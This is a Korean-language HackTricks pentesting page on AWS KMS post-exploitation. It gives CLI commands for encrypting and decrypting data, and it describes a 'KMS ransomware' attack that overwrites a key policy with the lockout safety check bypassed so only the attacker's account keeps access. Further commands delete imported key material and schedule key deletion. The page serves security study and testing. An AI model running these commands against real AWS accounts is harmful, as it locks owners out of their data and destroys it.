AWS - KMS Post Exploitation

HackTricks 지원하기

KMS

자세한 정보는 다음을 확인하세요:

AWS - KMS Enum

정보 암호화/복호화

파일 내의 데이터를 복호화하려면 파일이 base64로 인코딩된 데이터가 아닌 이진 데이터를 포함해야 합니다.

  • 대칭 키 사용

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • 비대칭 키 사용:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS 랜섬웨어

KMS에 대한 권한이 있는 공격자는 키의 KMS 정책을 수정하고 자신의 계정에 대한 액세스를 부여하여 정당한 계정에 부여된 액세스를 제거할 수 있습니다.

그런 다음, 정당한 계정 사용자는 이러한 키로 암호화된 서비스의 정보에 접근할 수 없게 되어 계정에 대한 쉽지만 효과적인 랜섬웨어를 생성하게 됩니다.

AWS 관리 키는 이 공격의 영향을 받지 않으며, 고객 관리 키만 영향을 받습니다.

또한 --bypass-policy-lockout-safety-check 매개변수를 사용해야 한다는 점에 유의하십시오(웹 콘솔에서 이 옵션이 없으면 이 공격은 CLI에서만 가능하게 됩니다).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

정책을 변경하고 외부 계정에만 액세스를 부여한 후, 이 외부 계정에서 원래 계정에 대한 액세스를 다시 부여하는 새로운 정책을 설정하려고 하면, 할 수 없습니다.

일반 KMS 랜섬웨어

글로벌 KMS 랜섬웨어

글로벌 KMS 랜섬웨어를 수행하는 또 다른 방법이 있으며, 다음 단계를 포함합니다:

  • 공격자가 가져온 키 자료로 새로운 키를 생성합니다

  • 이전 버전으로 암호화된 오래된 데이터를 새로운 키로 재암호화합니다.

  • KMS 키를 삭제합니다

  • 이제 원래 키 자료를 가진 공격자만 암호화된 데이터를 복호화할 수 있습니다.

키 파괴

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

AWS는 이제 이전 작업이 교차 계정에서 수행되는 것을 방지합니다:

HackTricks 지원하기

Last updated